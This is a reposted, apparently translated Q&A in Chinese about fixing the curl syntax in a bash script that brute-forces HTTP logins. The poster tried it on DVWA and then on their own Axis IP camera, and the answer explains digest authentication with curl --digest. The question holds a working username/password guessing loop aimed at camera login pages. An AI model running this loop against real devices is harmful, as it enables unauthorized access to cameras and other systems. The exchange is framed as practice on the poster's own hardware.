基于GET的HTTP登录中的curl语法
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了基于GET的HTTP登录中的curl语法相关的知识,希望对你有一定的参考价值。
出于练习目的,我决定创建一个简单的强制执行bash脚本,我成功地使用它来解决DWVA。然后我转移到IoT - 即我的旧IP摄像头。这是我现在的代码:
#!/bin/bash
if [ "${#@}" != "2" ]; then
echo "<command><host><path>"
exit
fi
ip=$1
path=$2
for name in $(cat user.txt); do
for pass in $(cat passwords.txt); do
echo ${name}:${pass}
res="$(curl -si ${name}:${pass}@${ip}${path})"
check=$(echo "$res" | grep "HTTP/1.1 401 Unauthorised")
if [ "$check" != '' ]; then
tput setaf 1
echo "[FAILURE]"
tput sgr0
else
tput setaf 2
echo "[SUCCESS]"
tput sgr0
exit
fi
sleep .1
done;
done;
尽管存在明显的缺陷 - 比如在网络出现故障时报告成功 - 但它与我20分钟的编码工作一样好。但是,我似乎无法正确获得curl命令语法。有问题的相机是一个简单的Axis,运行cramFS和一个小脚本操作系统。它类似于许多公开可用的相机的登录表单,如here,here或here。一个简单的GET,但我觉得我正在靠墙撞击我的头。在这一点上,任何有点麻烦都会受到赞赏。
我冒昧地粘贴第一个GET包的内容:
AYGET /operator/basic.shtml?id=478 HTTP/1.1
Host: <target_host_ip>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://<target_host_ip>/view/view.shtml?id=282&imagepath=%2Fmjpg%2Fvideo.mjpg&size=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Digest username="root", realm="AXIS_ACCC8E4A2177", nonce="w3PH7XVmBQA=32dd7cd6ab72e0142e2266eb2a68f59e92995033", uri="/operator/basic.shtml?id=478", algorithm=MD5, response="025664e1ba362ebbf9c108b1acbcae97", qop=auth, nc=00000001, cnonce="a7e04861c3634d3b"
送回包裹的是简单,干燥的401。
PS:任何权力 - 如果违反任何内容,请随时删除IP。也可以随意指出语法/拼写等错误,因为C2考试即将到来。
答案
看起来这些摄像机并不是简单地使用“基本”HTTP身份验证和base64编码的用户名:密码组合,而是使用digest authentication,它涉及更多。
幸运的是,使用cURL这意味着您需要在命令行上指定--digest
才能正确处理它。
使用以下方法自行测试事件序列:
curl --digest http://user:password@example.com/digest-url/
你应该看到类似的东西:
* Trying example.com...
* Connected to example.com (x.x.x.x) port 80 (#0)
* Server auth using Digest with user 'admin'
> GET /view/viewer_index.shtml?id=1323 HTTP/1.1
> Host: example.com
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< Date: Wed, 08 Nov 1972 17:30:37 GMT
< Accept-Ranges: bytes
< Connection: close
< WWW-Authenticate: Digest realm="AXIS_MACADDR", nonce="00b035e7Y417961b2083fae7e4b2c4053e39ef8ba0b65b", stale=FALSE, qop="auth"
< WWW-Authenticate: Basic realm="AXIS_MACADDR"
< Content-Length: 189
< Content-Type: text/html; charset=ISO-8859-1
<
* Closing connection 0
* Issue another request to this URL: 'http://admin:admin2@example.com/view/viewer_index.shtml?id=1323'
* Server auth using Digest with user 'admin'
> GET /view/viewer_index.shtml?id=1323 HTTP/1.1
> Host: example.com
> Authorization: Digest username="admin", realm="AXIS_MACADDR", nonce="00b035e7Y417961b2083fae7e4b2c4053e39ef8ba0b65b", uri="/view/viewer_index.shtml?id=1323", cnonce="NWIxZmY1YzA3NmY3ODczMDA0MDg4MTUwZDdjZmE0NGI=", nc=00000001, qop=auth, response="3b03254ef43bc4590cb00ba32defeaff"
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< Date: Wed, 08 Nov 1972 17:30:37 GMT
< Accept-Ranges: bytes
< Connection: close
* Authentication problem. Ignoring this.
< WWW-Authenticate: Digest realm="AXIS_MACADDR", nonce="00b035e8Y8232884a74ee247fc1cc42cab0cdf59839b6f", stale=FALSE, qop="auth"
< WWW-Authenticate: Basic realm="AXIS_MACADDR"
< Content-Length: 189
< Content-Type: text/html; charset=ISO-8859-1
<
以上是关于基于GET的HTTP登录中的curl语法的主要内容,如果未能解决你的问题,请参考以下文章